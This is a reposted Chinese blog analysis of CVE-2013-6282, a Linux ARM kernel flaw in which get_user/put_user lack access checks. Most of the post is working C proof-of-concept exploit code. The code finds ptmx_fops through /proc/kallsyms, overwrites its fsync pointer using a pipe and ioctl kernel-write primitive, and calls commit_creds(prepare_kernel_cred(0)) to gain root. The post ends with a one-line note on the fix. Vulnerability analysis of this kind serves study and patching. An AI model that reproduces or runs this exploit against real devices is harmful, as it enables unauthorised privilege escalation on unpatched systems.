Missing access checks in put_user/get_user kernel API (CVE-2013-6282)

转:http://blog.csdn.net/hu3167343/article/details/34454381

/*

本文章由 莫灰灰 编写，转载请注明出处。  

作者：莫灰灰    邮箱： [email protected]

*/

1.漏洞成因

Linux kernel对ARM上的get_user/put_user缺少访问权限检查，本地攻击者可利用此漏洞读写内核内存，获取权限提升。

2.受影响的系统

Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1

3.PoC分析

（1）从/proc/kallsyms文件中获得数据结构ptmx_fops的地址

void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;

static void *kallsyms_get_symbol_address(const char *symbol_name)
{
    FILE *fp;
    char function[BUFSIZ];
    char symbol;
    void *address;
    int ret;

    fp = fopen("/proc/kallsyms", "r");
    if (!fp) {
        printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));
        return 0;
    }

    while(!feof(fp)) {
        ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
        if (ret != 3) {
            break;
        }

        if (!strcmp(function, symbol_name)) {
            fclose(fp);
            return address;
        }
    }
    fclose(fp);

    return NULL;
}

（2）找到fsync的地址，即ptmx_fops+0x38的地方

static struct file_operations ptmx_fops;

struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    int (*iterate) (struct file *, struct dir_context *);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *, fl_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, loff_t, loff_t, int datasync);
    int (*aio_fsync) (struct kiocb *, int datasync);
    <span style="color:#ff0000;"><strong>int (*fasync) (int, struct file *, int);</strong></span>
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
    unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
    int (*check_flags)(int);
    int (*flock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
    ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
    int (*setlease)(struct file *, long, struct file_lock **);
    long (*fallocate)(struct file *file, int mode, loff_t offset,
              loff_t len);
    int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

（3）替换fsync函数指针为自己的函数

if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){

ptmx_fsync_callback函数可以使本进程得到权限提升

/*  obtain_root_privilege - userland callback function
We set ptmx_fops.fsync to the address of this function
Calling fysnc on the open /dev/ptmx file descriptor will result
in this function being called in the kernel context
We can the call the prepare/commit creds combo to escalate the
processes priveledge.
*/
static void ptmx_fsync_callback(void)
{
    commit_creds(prepare_kernel_cred(0));
}

pipe_write_value_at_address函数底层通过put_user函数改写内核地址内容

static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)
{
    char data[4];
    int pipefd[2];
    int i;

    *(long *)&data = value;

    if (pipe(pipefd) == -1) {
        perror("pipe");
        return 1;
    }

    for (i = 0; i < (int) sizeof(data) ; i++) {
        char buf[256];
        buf[0] = 0;
        if (data[i]) {
            if (write(pipefd[1], buf, data[i]) != data[i]) {
                printf("error in write().\n");
                break;
            }
        }

        if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
            perror("ioctl");
            break;
        }

        if (data[i]) {
            if (read(pipefd[0], buf, sizeof buf) != data[i]) {
                printf("error in read().\n");
                break;
            }
        }
    }

    close(pipefd[0]);
    close(pipefd[1]);

    return (i == sizeof (data));
}

（4）手动调用fsync函数，触发自己的hook函数，得到权限提升

int fd = open(PTMX_DEVICE, O_WRONLY);
if(!fd) return 1;
fsync(fd);
close(fd);

4.修复

在put_user之前加了个地址判断